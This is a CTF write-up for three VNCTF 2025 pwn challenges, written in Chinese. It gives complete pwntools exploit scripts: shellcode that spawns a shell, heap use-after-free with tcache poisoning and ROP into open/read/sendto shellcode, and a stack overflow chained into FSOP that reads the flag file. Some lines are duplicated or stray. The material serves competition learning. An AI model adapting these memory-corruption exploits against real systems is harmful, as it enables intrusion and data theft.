VNCTF 2025 Writeup
签个到吧
执行 shellcode 前清空了寄存器上下文,但在 rdi 保留了 shellcode 基址,于是可以输入 /bin/sh 并执行 syscall execve("/bin/sh", 0, 0)
,getshell。
io.sendafter(b'strength \n', asm(f'add rdi, 13; mov rax, 59; syscall;') + b'/bin/sh')
好easy嘅题啦
VM 指令 heap 中可以操作堆快,alloc free print input。其中 free 后未置空堆块指针,存在 UAF。首先申请 0x500 大堆块,在其中提前写入之后用到的 shellcode:open read sendto。然后 free 此堆块进入 unsorted bin 并 print 以获取 libc 基址。接着申请 0x60 小堆块,获取其中残留的 tcache next
,获取线程 heap 基址。经调试发现 pthreads 为新线程分配的栈与 libc 偏移固定,再利用 UAF double free tcache chunk,tcache poisoning 至线程栈上 heap operation 函数返回地址前 24 字节处,写入ROP 链 mprotect 修改页权限并 ret2shellcode。
Exp:
#!/usr/bin/python
from pwn import *
from ctypes import *
itob = lambda x: str(x).encode()
context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'
p = process(binary)
# io = connect('127.0.0.1', 9999)
io = connect('node.vnteam.cn', 46995)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)
io.sendlineafter(b'create? ', b'1\n')
# io = connect('127.0.0.1', 9999)
io = connect('node.vnteam.cn', 46995)
s = 0.5
def heap():
io.sendline(b'heap 0 0')
sleep(s)
def alloc(size: int):
io.sendlineafter(b'Heap operate: ', b'alloc')
io.sendlineafter(b'Size: ', itob(size))
sleep(s)
def free():
io.sendlineafter(b'Heap operate: ', b'free')
sleep(s)
def printit():
io.sendlineafter(b'Heap operate: ', b'print')
sleep(s)
def input(content: bytes):
io.sendlineafter(b'Heap operate: ', b'input')
io.sendafter(b'Input: ', content)
sleep(s)
def AveMujica():
io.sendline(b'AveMujica 0 0')
sleep(s)
io.recvuntil(b'Input your Code (end with EOF): ')
for _ in range(13):
heap()
AveMujica()
io.sendline(b'EOF')
alloc(0x500)
input(p64(0xdeadbeef) * 4 + asm(f"""
mov rax, 0x67616c662f
push rax
mov rax, __NR_open
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
mov rax, __NR_read
mov rdi, 9
mov rsi, rsp
mov rdx, 0x50
syscall
mov rax, __NR_sendto
mov rdi, 7
syscall
mov rsi, rsp
"""))
free()
printit()
io.recvuntil(b'Content: ')
libc.address = u64(io.recv(8)) - 2206944
success(f'libc_base: 0x{libc.address:x}')
alloc(0x60)
free()
printit()
io.recvuntil(b'Content: ')
heap_key = u64(io.recv(8))
success(f'heap_key: 0x{heap_key:x}')
input(b'\x00' * 16)
free()
input(p64((libc.address - 980792 - 24) ^ heap_key))
alloc(0x60)
# gdb.attach(p, 'set resolve-heap-via-heuristic force\nb *$rebase(0xB2F9)')
alloc(0x60)
input(p64(0xcafebabe) * 3 + flat([
libc.search(asm('pop rdi;ret')).__next__(),
heap_key << 12,
libc.search(asm('pop rsi;ret')).__next__(),
0x1000,
libc.search(asm('pop rdx;pop r12;ret')).__next__(),
7,
0,
libc.sym['mprotect'],
(heap_key << 12) + 1888
]))
io.interactive()
p.wait()
由于 lib 加载顺序不同,远程和本地的线程栈与 libc 偏移不同,需要在 docker container 中调试获取。
米塔调试机
输入指令时使用 scanf %s,可以溢出修改栈上 nowhome
和 nowver
,在 name
中构造假 MitaHome 和 Version 堆结构,将 nowhome
和 nowver
劫持到对应位置,即可在 $delete 命令时构造任意 free。在此之前大量创建新 MitaHome 并在 ID 字段填入 0x601 和 0x41 构造假 unsorted 大小堆块,利用任意 free 获取 unsorted chunk 泄漏 libc 基址。然后同样方法 double free tcache poisoning,修改 _IO_list_all
至 name
处,程序正常 exit
打 house of Some(_IO_flush_all
时利用 IO wide_data 任意读写,利用 environ
泄漏栈基址,栈上 ROP)。
Exp:
#!/usr/bin/python
from pwn import *
from ctypes import *
itob = lambda x: str(x).encode()
context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './vuln6'
# io = process(binary)
io = connect('node.vnteam.cn', 47984)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)
# gdb.attach(io, '')
io.sendlineafter(b'name:\n', cyclic(0x200))
io.sendlineafter(b'>>> ', b'$show')
io.recvuntil(b'caaf')
heap_base = u32(io.recv(4)) - 672
success(f'heap_base: 0x{heap_base:x}')
io.sendlineafter(b'>>> ', f'aaaa-1_\x01\x06:aaaa')
for i in range(25):
io.sendlineafter(b'>>> ', f'aaaa{i}_\x41:aaaa')
name = 0x4040E0
fake_heap = p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(name + 0x10 + 0x40 * 2) + p64(name + 0x10 + 0x40)
fake_heap += p64(0) + p64(0x41) + cyclic(0x30)
fake_heap += p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(0) + p64(heap_base + 832)
fake_heap += p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0)
io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', fake_heap)
io.sendlineafter(b'>>> ', b'$delete\x00'.ljust(1344, b'a') + p64(name + 0x10 + 0x40 * 2) + p64(name + 0x10 + 0x40 * 3))
io.sendlineafter(b'>>> ', b'$show\x00'.ljust(1344, b'a') + p64(heap_base + 832) + p64(name + 0x10 + 0x40 * 3))
0x1140a340
io.recvuntil(b'Now MiTaHome: ')
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 2206944
success(f'libc_base: 0x{libc.address:x}')
io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(0) + p64(name + 0x10 + 0x40) + p64(0) + p64(0x41) + cyclic(0x30) + p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0) * 2 + p64(0x41))
io.sendlineafter(b'>>> ', b'$delete\x00'.ljust(1344, b'a') + p64(name + 0x10) + p64(name + 0x10 + 0x40 * 2))
io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', p64(0) + p64(0x41) + p64(libc.sym['_IO_list_all'] ^ 0x404) + p64(0) * 2 + p64(ord('1')) + p64(0) + p64(name + 0x10 + 0x40) + p64(0) + p64(0x41) + cyclic(0x30) + p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0) * 2 + p64(0x41))
io.sendlineafter(b'>>> ', b'mitaname_mitaid:vername')
io.sendlineafter(b'>>> ', p32(name)[:-1] + b'_mitaid:vername')
from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=(heap_base) + 0x1000)
payload = hos.hoi_read_file_template((heap_base) + 0x1000, 0x400, (heap_base) + 0x1000, 0)
io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', payload)
io.sendlineafter(b'>>> ', b'$exit')
io.recvuntil(b'Player out! :(\n')
hos.bomb_orw(io, b'/flag', offset=1816, read_length=128)
io.interactive()
虽然提示说有要用到可以无限长输入的指令格式,但其实只要空字节截断字符串就好?